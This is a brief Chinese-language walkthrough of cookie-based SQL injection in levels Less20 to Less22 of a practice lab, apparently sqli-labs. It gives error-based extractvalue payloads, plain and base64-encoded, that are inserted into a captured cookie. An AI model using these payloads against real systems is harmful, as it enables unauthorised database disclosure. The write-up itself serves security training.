Less20
从源代码中我们可以看到 cookie 从 username 中获得值后,当再次刷新时,会从 cookie 中读
取 username,然后进行查询。
登录成功后,我们修改 cookie,再次刷新时,这时候 sql 语句就会被修改了
先使用正确的账号密码登录一次。使用burp抓取第二个数据包。修改cookie的值
1 | ' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))# |

Less21
与Less20处理流程一样,但是对cookie进行了base64加密。利用Less20的方法,但是需要将payload进行base64编码处理(这里对uname进行了('uname')处理)
1 | YWRtaW4nKWFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAYmFzZWRpciksMHg3ZSkpIw== |

Less22
本关和Less20、Less21是一致的,但是uname进行了"uname"的处理
构造payload:admin"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
payload进行base64编码后,修改cookie再进行提交
1 | YWRtaW4iYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLChzZWxlY3QgZGF0YWJhc2UoKSksMHg3ZSkpIw== |
